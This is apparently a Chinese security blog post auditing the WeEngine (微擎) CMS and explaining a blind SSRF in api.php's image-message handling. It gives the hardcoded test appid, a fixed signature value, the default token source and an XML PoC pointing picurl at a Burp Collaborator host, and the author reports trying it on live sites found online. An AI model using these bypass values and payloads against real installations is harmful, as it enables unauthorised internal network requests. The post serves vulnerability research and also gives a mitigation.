微擎最新版前台某处无回显SSRF漏洞

## 微擎最新版前台某处无回显SSRF漏洞 ## 0x0 前言   [代码审计之某通用商城系统getshell过程](https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA),续之前这篇文章v1...

微擎最新版前台某处无回显SSRF漏洞

0x0 前言

代码审计之某通用商城系统getshell过程,续之前这篇文章v1.8.2版本,这次分享一个最新版v2.7.6 相对来说比较鸡肋的无回显SSRF,漏洞不是最主要的,主要是分享下自己的审计过程。

写文章还有补天的粽子领就很开心。

0x1 影响版本

经过测试应该是通杀到最新版的,不过不同版本利用方式有些不同,下面将从v1.8.2版本开始分析然后过渡到v2.7.6版本,来构造出对应的POC。

0x2 漏洞点

v1.8.2版本系统安装目录下的根目录文件: api.php

662 line:analyzeImage函数,直接将$message['picurl']传入ihttp_get函数,结合前篇我们文章的分析,这个函数是采用了curl请求并设置跟随的,如果我们可控$message['picurl']那么这里就会是一个支持任意协议,但是没回显的SSRF。

这个漏洞可玩性与UEditor SSRF差不多,不过这个属于Blind类型的。

image-20210615163531485

我们看一下,$message是否可控

image-20210615164452887

可以看到在start函数里面获取了POST的内容然后进入$this->account->parse函数进行解析

251 line: 位于/f ramework/class/account/account.class.phpparse函数

    public function parse($message) {
        global $_W;
        if (!empty($message)){
            //解析内容
            $message = x ml2array($message);
            $packet = iarray_change_key_case($message, CASE_LOWER);
            $packet['from'] = $message['FromUserName'];
            $packet['to'] = $message['ToUserName'];
            $packet['time'] = $message['CreateTime'];
            $packet['type'] = $message['MsgType'];
            $packet['event'] = $message['Event'];
            switch ($packet['type']) {
                case 'text':
                    $packet['redirection'] = false;
                    $packet['source'] = null;
                    break;
                case 'image':
                    # 这里直接赋值PicUrl
                    $packet['url'] = $message['PicUrl'];
                    break;
        ....
        return $packet;
    }

跟进x ml2array,很简单就是解析x ml格式的内容,微擎官方文档消息概述里面就给出了使用案例。

到这里就可以确定$message['picurl']是直接从POST的数据包中提取然后没有任何过滤进入到ihttp_get函数的,从而造成了SSRF漏洞的。

下面就是如何进行漏洞的触发。

0x3 触发漏洞

当我们访问http://localhost:8887/wq2/wq2/api.php,要确保能走进漏洞函数,首先就要先进入到start()函数。

image-20210615170945120

这里需要绕过前面判断,其实也很简单。

if(!empty($_GPC['appid'])) {
    $appid = ltrim($_GPC['appid'], '/');
    if ($appid == 'wx570bc396a51b8ff8') {
        $_W['account'] = array(
            'type' => '3',
            'key' => 'wx570bc396a51b8ff8',
            'level' => 4,
            'token' => 'platformtestaccount'
        );
    } else {
        $id = pdo_fetchcolumn("SELECT acid FROM " . tablename('account_wechats') . " WHERE `key` = :appid", array(':appid' => $appid));
    }
}

我们通过传入api.php?appid=wx570bc396a51b8ff8,便能成功构造出一个$_W['account']出来,绕过上面所说即如下的两个非空判断。

if(empty($_W['account'])) {
    exit('initial error hash or id');
}
if(empty($_W['account']['token'])) {
    exit('initial missing token');
}

继续向下走,还需要绕过$this->account->checkSign(),继续跟进:

image-20210615171407102

可以看到,这个Sign其实是固定的,所需要的3个信息分别为$token, $_GET['timestamp'], $_GET['nonce'],这里$token就是上面程序预留的信息值为:platformtestaccount,其他两个不传入留空值即可。

29 line:framework/class/account/weixin.account.class.phpcheckSign函数

image-20210615171519590

那么我们只要传入signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a即可绕过checkSign函数。

然后回到api.php继续向下执行,182 line,对$message进行分析,跟进该函数。

$pars = $this->analyze($message);

image-20210615172420838

最终就会进入我们上述漏洞点analyzeImage函数,造成SSRF。

0x4 POC 验证

image-20210615172743080

可以看到构造如下格式,便可成功触发。

<x ml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>12345678</CreateTime>
<MsgType><![CDATA[image]]></MsgType>
<picurl><![CDATA[http://ssrf.l3pekm70n3nb5y4hhtmopdlphgn9by.burpcollaborator.net/]]></picurl>
</x ml>

0x5 出现问题

我简单看了一下Gitee上该系统的最新版2.7.6的代码api.php,发现漏洞点还是存在的。

image-20210615173107051

但是我在网上找了几个最新版的站打了下,发现并没有成功。

image-20210615173234710

尝试删减一些参数,可以得到原因是没进入start函数就结束了,通过debug发现问题主要是在

在初始化$this->account = WeAccount::create($_W['account']);时会调用到这个getAccountInfo函数,这里对内置的测试用户做了个判断,导致进入了$this->openPlatformTestCase();而这个函数最终都是走入了exit(),所以这里我们不能使用这个账户。

    protected function getAccountInfo($uniacid) {
        //针对测试用户做了判断,$this->openPlatformTestCase();
        if ('wx570bc396a51b8ff8' == $this->account['key']) {
            $this->account['key'] = $this->appid;
            $this->openPlatformTestCase();
        }
        $account = table('account_wechats')->getAccount($uniacid);
        $account['encrypt_key'] = $this->appid;

        return $account;
    }

0x6 解决问题

回到api.php

image-20210615183229733

可以看到除了测试用户,我们也可以通过传入$id来获取account,跟进uni_fetch函数。

image-20210615184419904

查询account获取id=1的信息

image-20210615184644694

继续跟下去,最终你会发现token其实存储在了ims_core_cache表中,并且只有唯一一个,这个Token值是固定的。

这个信息是从/data/db.php获取的,也就是初始化的默认数据,刚好这个值不是随机生成的,所有版本都是一样的。

image-20210615190136424

相关调用栈如下:

image-20210615190154149

所以我们只要重新获取一下signature就行了,即如下

image-20210615190418036

0x7 新POC

image-20210615191418245

0x8 总结

本文回顾了以前的文章,在此基础上对新版本进行类似漏洞的挖掘,遇到了版本差异导致的问题,尝试解决的时候,发现了关键的检验参数Token存在默认值,导致可以直接构造,完成了利用。最后,关于临时修复方案,账户是可以在后台进行删除的,步骤分别是"所有平台"->放入回收站->彻底删除,这样就可以避免猜测到Token值。

  • 发表于 2021-08-04 10:30:32
  • 阅读 ( 11600 )
  • 分类:内网渗透

0 条评论

请先 登录 后评论
xq17
xq17

11 篇文章

站长统计